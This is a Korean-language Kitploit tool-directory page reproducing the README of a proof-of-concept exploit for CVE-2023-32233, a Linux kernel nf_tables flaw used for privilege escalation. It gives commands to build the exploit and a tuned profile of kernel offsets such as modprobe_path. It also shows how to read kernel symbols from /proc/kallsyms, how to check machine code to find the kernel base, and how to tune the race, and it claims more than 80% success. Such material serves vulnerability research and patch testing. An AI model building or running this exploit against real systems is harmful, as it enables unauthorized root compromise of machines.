Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-32233 — CVE-2023-32233: Linux 커널의 보안 취약점 | Kitploit
도구/GitHubGitHub/liuk3r/cve-2023-32233
Privilege EscalationVulnerability AnalysisExploitationBinary Exploitation
GitHubliuk3r/cve-2023-32233

CVE-2023-32233

CVE-2023-32233: Linux 커널의 보안 취약점

저장소 보기
382783년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

빌드 및 설정

아래 지침은 Ubuntu 23.04 (Lunar Lobster)에서 테스트되었습니다.

GIF 2023-5-16 12-28-46

빌드 의존성 설치

빌드 의존성을 설치하려면 다음 명령을 실행하세요:

root@kitploit:~
sudo apt install gcc libmnl-dev libnftnl-dev

바이너리 빌드

PoC 바이너리를 빌드하려면 다음 명령을 실행하세요:

root@kitploit:~
gcc -Wall -o exploit exploit.c -lmnl -lnftnl

프로파일 업데이트

내장 프로파일에는 Ubuntu 23.04 (Lunar Lobster)의 다음 바이너리 패키지로 배포된 Linux 커널에 특화된 매개변수가 포함되어 있습니다:

  • "linux-image-6.2.0-20-generic", 버전 "6.2.0-20.20", 그리고
  • "linux-modules-6.2.0-20-generic", 버전 "6.2.0-20.20".

내장 프로파일은 다음과 같습니다:

root@kitploit:~
1                   race_set_slab                   # {0,1}
1572                race_set_elem_count             # k
4000                initial_sleep                   # ms
100                 race_lead_sleep                 # ms
600                 race_lag_sleep                  # ms
100                 reuse_sleep                     # ms
39d240              free_percpu                     # hex
2a8b900             modprobe_path                   # hex
23700               nft_counter_destroy             # hex
347a0               nft_counter_ops                 # hex
a                   nft_counter_destroy_call_offset # hex
ffffffff            nft_counter_destroy_call_mask   # hex
e8e58948            nft_counter_destroy_call_check  # hex

커널 심볼

다른 Linux 커널로 테스트할 때 내장 프로파일을 재정의하는 선택적 단계:

root@kitploit:~
modprobe nf_tables
egrep ' (nft_counter_ops|nft_counter_destroy|free_percpu|modprobe_path)(\s|$)' /proc/kallsyms > profile

머신 코드

커널 베이스를 찾기 위해 커널 메모리에서 nf_tables.ko 이미지를 검사합니다. 특히, nft_counter_destroy() 서브루틴의 머신 코드를 분석합니다. 즉, 이 방법은 컴파일러와 컴파일 옵션에 민감합니다. 그러나 모든 일반적인 경우는 내장 프로파일을 재정의하여 처리할 수 있습니다.

예를 들어, nft_counter_destroy() 서브루틴의 머신 코드는 다음과 같을 수 있습니다:

root@kitploit:~
000000000001e310 <nft_counter_destroy>:
   1e310:       f3 0f 1e fa             endbr64
   1e314:       48 8b 7e 08             mov    rdi,QWORD PTR [rsi+0x8]
   1e318:       e9 00 00 00 00          jmp    <free_percpu>
   1e31d:       0f 1f 00                nop    DWORD PTR [rax]

위의 경우, 구성 파일 "profile"에 다음 세 줄을 추가하여 몇 가지 매개변수를 지정할 수 있습니다.

먼저, free_percpu 변위 앞에 있는 dword의 오프셋을 재정의합니다:

root@kitploit:~
5                   nft_counter_destroy_call_offset # hex

여기서 값 5는 (1e31d - 1e310) - 8 표현식을 사용하여 계산되었습니다.

그런 다음, 유효성 검사로 다음 마스크를 사용하여 위 오프셋의 dword를 확인합니다:

root@kitploit:~
ffffffff            nft_counter_destroy_call_mask   # hex

다음 값이 예상됩니다:

root@kitploit:~
e9087e8b            nft_counter_destroy_call_check  # hex

레이스 튜닝

취약점을 악용하려면 Linux 커널의 백그라운드 워커 스레드와의 레이스에서 승리해야 합니다. 내장 프로파일은 모바일 Sandy Bridge 및 데스크톱 Comet Lake를 포함한 광범위한 Intel 마이크로프로세서에서 해당 레이스에서 승리할 확률을 최대화하도록 조정되었습니다. 그러나 일부 마이크로프로세서는 추가 튜닝이 필요합니다. 예를 들어, 특정 설정에서 Alder Lake에서 태스크 전환 지연 시간이 증가하는 것을 관찰했으며, 이 경우 "profile"에 다음 줄을 추가해야 할 수 있습니다:

root@kitploit:~
400                 race_lead_sleep

테스트에서 유휴 베어메탈 시스템을 사용했을 때 취약점 악용 성공 확률이 80% 이상임을 측정했습니다.

테스트 권장 사항

PoC가 취약한 시스템에서 시작되면 커널 메모리가 손상되어 시스템이 불안정한 상태에 빠질 수 있습니다. 잠재적인 데이터 손상을 방지하기 위해 전용 시스템에서 PoC를 테스트할 것을 강력히 권장합니다.

도구 다운로드